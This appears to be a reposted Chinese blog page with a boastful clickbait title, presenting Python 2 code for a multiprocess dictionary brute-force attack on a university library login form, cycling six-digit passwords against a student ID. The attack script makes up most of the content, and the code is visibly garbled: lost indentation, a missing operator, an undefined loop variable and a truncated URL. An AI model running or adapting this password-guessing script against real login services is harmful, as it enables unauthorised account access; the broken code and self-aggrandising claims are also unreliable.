分享

我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!

 山峰云绕 2018-03-16

我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!


            【【python学院】我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!】http://toutiao.com/group/6533490954685383176/?iid=15906422033&app=explore_article&timestamp=1521212575&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share 


描述如果说图书馆它兼并了许多小系统的话,我还介意各位不要拿去尝试。因为那样造成的后果是非常严重的!

再次还原当时用Python破解的场景之前,我要先给大家说一下Python如何才能够打造高质量字典。所以密码破解的核心是什么?字典 多进程。黑客字典肯定是用来破解密码,而Python多进程就是提高我们的爬包速度。

Python生成黑客字典来源于字符串

我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!

描述保存下来就是一本Python黑客字典。

我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!

我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!

我利用Python开发大杀伤力虚拟武器!华为想聘请我,但我否决了!

描述[Python破解源码]#!/usr/bin/env python#coding:utf-8#By eathingsimport urllibimport urllib2import cookielibimport multiprocessingimport reclass whu_crack(multiprocessing.Process):

def __init__(self, psw):

self.psw = psw

self.title = re.compile('<title>(.*?)</title>') def start_crack(self):

for password in self.psw: try: print password

cookie = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))

url = '

http://metalib.lib./pds'

data = { 'func': 'login', 'calling_system': 'idp_proxy', 'term1': 'short', 'selfreg': '', 'bor_id': '201130XXXXXXX', #学号

'bor_verification': password, 'institute': 'WHU', 'url': '

http://apps.lib./idp_proxy/bor_auth_agent.asp?goto=%2Fweb%2Flogin%2Easp&sp=http%3A%2F%2Fwww.hub.calis.edu.cn%3A8090%2Famconsole%2FAuthServices%2F242010%3Fverb%3Dsplogin&idp=242010'

}

postdata = urllib.urlencode(data)

req = urllib2.Request(url,postdata)

result = opener.open(req)

page = result.read()

info = re.findall(self.title , page) try: if re.match('relocate', info[0]): print password

xx = raw_input()

sys.exit(1) except: pass

except Exception, e: print 'Error' eif __name__ == '__main__':

file = open('Six_nums_dict.txt')#暴力字典

lines = [] for line in file:

lines.append(line.rstrip())

file.close()

num = 25

print len(lines)

block = len(lines)/num

jobs = [] for i in range(num): if i == num:

psw = lines[block*i:] else:

psw = lines[block*i : block*(i 1)]

p = whu_crack(psw)

jobs.append(p)

p.start_crack() for i in jobs:

j.join()

写这个Python代码时我是没有过多考虑缩进问题的,这样肯定会导致有些喜欢Python的朋友COPY完跑代码出错。各位自己整理一下,在这里向各位黑客说一声抱歉!

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多